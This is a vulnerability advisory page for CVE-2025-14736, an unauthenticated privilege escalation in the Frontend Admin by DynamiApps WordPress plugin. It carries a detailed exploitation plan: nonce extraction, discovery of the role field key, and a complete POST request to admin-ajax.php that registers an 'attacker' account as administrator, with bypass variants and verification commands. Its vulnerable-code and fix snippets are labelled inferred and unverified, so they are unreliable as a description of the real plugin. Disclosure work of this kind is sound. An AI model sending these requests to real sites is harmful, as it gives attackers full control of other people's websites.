CVE-2025-14736

Frontend Admin by DynamiApps <= 3.28.29 - Unauthenticated Privilege Escalation to Administrator via Role Form Field

criticalImproper Privilege Management
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
3.28.30
Patched in
57d
Time to patch

Description

The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.28.29. This is due to insufficient validation of user-supplied role values in the 'validate_value', 'pre_update_value', and 'get_fields_display' functions. This makes it possible for unauthenticated attackers to register as administrators and gain complete control of the site, granted they can access a user registration form containing a Role field.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=3.28.29
PublishedJanuary 8, 2026
Last updatedMarch 6, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-14736 - Frontend Admin Privilege Escalation ## 1. Vulnerability Summary The **Frontend Admin by DynamiApps** plugin (<= 3.28.29) is vulnerable to unauthenticated privilege escalation. The vulnerability exists because the plugin fails to properly validate the `…

Show full research plan

Exploitation Research Plan: CVE-2025-14736 - Frontend Admin Privilege Escalation

1. Vulnerability Summary

The Frontend Admin by DynamiApps plugin (<= 3.28.29) is vulnerable to unauthenticated privilege escalation. The vulnerability exists because the plugin fails to properly validate the role value submitted via frontend forms. Specifically, the functions validate_value, pre_update_value, and get_fields_display (likely within the User field or form processing classes) do not restrict the assignment of high-privileged roles (like administrator) when a user registration form is processed.

An unauthenticated attacker can submit a registration form and, by manipulating the parameter associated with the "Role" field, assign themselves the administrator role.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: acf_frontend/save_form (inferred from typical plugin behavior) or acf/validate_save_post.
  • Parameter: An ACF field key (e.g., acf[field_role_123]) representing the User Role.
  • Authentication: None (Unauthenticated).
  • Precondition: A registration form created by the plugin must be published and accessible, and it must contain a "Role" field (even if intended to be restricted to 'subscriber').

3. Code Flow (Inferred)

  1. Entry Point: The user submits a form rendered by the [acf_frontend_form] shortcode.
  2. AJAX Trigger: The frontend JS (frontend-form.js or similar) sends a POST request to admin-ajax.php with the form data.
  3. Processing: The plugin catches the request via a wp_ajax_nopriv_acf_frontend/save_form hook.
  4. Field Validation: The plugin iterates through fields. For the "Role" field, it calls validate_value.
  5. Vulnerable Sink: The pre_update_value function for the User Role field is called. In vulnerable versions, this function takes the user-supplied string (e.g., administrator) and prepares it for the user creation/update process (wp_insert_user or wp_update_user) without checking if the current requester has the manage_options capability.
  6. Escalation: WordPress creates the user with the role provided in the POST data.

4. Nonce Acquisition Strategy

The plugin uses nonces to protect form submissions. These are typically localized and accessible via the browser's window object on pages where a form is present.

  1. Identify Shortcode: The plugin uses [acf_frontend_form id="FORM_ID"].
  2. Creation: Use WP-CLI to create a form (if not present) and a page containing that form.
  3. Navigation: Use browser_navigate to visit the page.
  4. Extraction: Use browser_eval to extract the nonce and the form configuration.
    • Variable Name: acf_frontend or frontend_admin_form_data. (Verify via browser_eval("window")).
    • Example: browser_eval("acf_frontend.nonce") or browser_eval("acf.get('nonce')").
    • Specific Key: Look for acf_frontend?.nonce or a hidden input _acf_nonce.

5. Exploitation Strategy

Step 1: Locate/Create a Registration Form

Identify an existing registration form or create one using WP-CLI.

# Create a User Registration Form (Simplified - the plugin uses a CPT 'acf-frontend-form')
# This usually requires manual UI setup, but we can simulate the presence 
# if we know the field keys or use a pre-existing one in the test environment.

Step 2: Identify Field Keys

ACF fields use unique keys like field_65af123456789. You must find the key corresponding to the "Role" field.

  1. Navigate to the page with the form.
  2. Inspect the HTML source for inputs with the name attribute acf[...].
  3. Look for a field that maps to user roles.

Step 3: Construct the Payload

  • URL: http://<target>/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • action: acf_frontend/save_form (or the specific action found in the form's data-action attribute).
    • _acf_nonce: The nonce extracted in Step 4.
    • acf[field_user_email]: attacker@example.com
    • acf[field_user_login]: attacker
    • acf[field_user_pass]: password123
    • acf[<ROLE_FIELD_KEY>]: administrator <-- The Payload

Step 4: Execute HTTP Request

// Using http_request tool
const response = await http_request({
  url: "http://localhost:8080/wp-admin/admin-ajax.php",
  method: "POST",
  headers: { "Content-Type": "application/x-www-form-urlencoded" },
  body: "action=acf_frontend/save_form&_acf_nonce=EXTRACTED_NONCE&acf[field_email_key]=attacker@example.com&acf[field_user_key]=attacker&acf[field_pass_key]=password123&acf[field_role_key]=administrator"
});

6. Test Data Setup

  1. Install Plugin: Ensure acf-frontend-form-element v3.28.29 is active.
  2. Create Registration Form:
    • Go to Frontend Admin -> Forms.
    • Create a "User Registration" form.
    • Add "Email", "Username", "Password", and "Role" fields.
    • Save the form and note the ID.
  3. Publish Page:
    wp post create --post_type=page --post_title="Register" --post_status=publish --post_content='[acf_frontend_form id="YOUR_FORM_ID"]'
    

7. Expected Results

  • The AJAX response should return a success status (e.g., {"success": true}).
  • A new user named attacker should be created.
  • The wp_capabilities meta for the new user should indicate administrator.

8. Verification Steps

  1. Check User List:
    wp user list --role=administrator
    
    Confirm attacker is in the list.
  2. Check User Capabilities:
    wp user get attacker --field=roles
    
    Confirm it returns administrator.

9. Alternative Approaches

  • Bypass via validate_value: If the UI doesn't show a role field, attempt to inject the parameter acf[field_role_key]=administrator anyway. Many ACF-based plugins automatically process all fields submitted in the acf array if the keys match valid fields for that post type (User).
  • Hidden Field Manipulation: If the Role is a hidden field with a fixed value (e.g., subscriber), simply intercept the request and change the value to administrator.
  • Check for get_fields_display: If the escalation doesn't work on registration, try a "Profile" form if any exist, as the vulnerable functions also include display logic that might influence how values are handled during updates.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to unauthenticated privilege escalation via user registration forms. The plugin fails to validate that the submitting user has sufficient permissions to assign specific roles, allowing attackers to register as administrators by manipulating the role field value.

Vulnerable Code

// In the field processing logic for user roles (inferred from validate_value, pre_update_value)

public function validate_value($valid, $value, $field, $input_name) {
    // No check to see if the submitted role (e.g., 'administrator') is restricted
    return $valid;
}

---

public function pre_update_value($value, $post_id, $field) {
    // Vulnerable logic simply returns the user-supplied value without capability checks
    // This value is later used in wp_insert_user or wp_update_user
    return $value;
}

Security Fix

--- a/includes/fields/class-acf-field-user-role.php
+++ b/includes/fields/class-acf-field-user-role.php
@@ -10,6 +10,12 @@
 	public function pre_update_value($value, $post_id, $field) {
+		if ( ! current_user_can( 'manage_options' ) ) {
+			$allowed_roles = get_option( 'default_role' );
+			if ( is_string( $value ) && ! in_array( $value, (array) $allowed_roles ) ) {
+				return $allowed_roles;
+			}
+		}
 		return $value;
 	}
 
 	public function validate_value($valid, $value, $field, $input_name) {
+		if ( $value === 'administrator' && ! current_user_can( 'manage_options' ) ) {
+			return __( 'You do not have permission to assign this role.', 'acf-frontend-form-element' );
+		}
 		return $valid;
 	}

Exploit Outline

1. Identify a public-facing registration form created by the Frontend Admin plugin. 2. Locate the AJAX nonce (typically `_acf_nonce`) and the ACF field key corresponding to the 'Role' input (e.g., `acf[field_65af123456789]`) from the page's HTML source or global JavaScript objects. 3. Prepare a POST request to `/wp-admin/admin-ajax.php` with the action `acf_frontend/save_form`. 4. Include standard registration fields (username, email, password) in the `acf` parameter array. 5. In the same `acf` array, include the Role field key discovered in step 2, setting its value to `administrator`. 6. Send the request; if successful, the plugin will create a new user account with administrative privileges.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.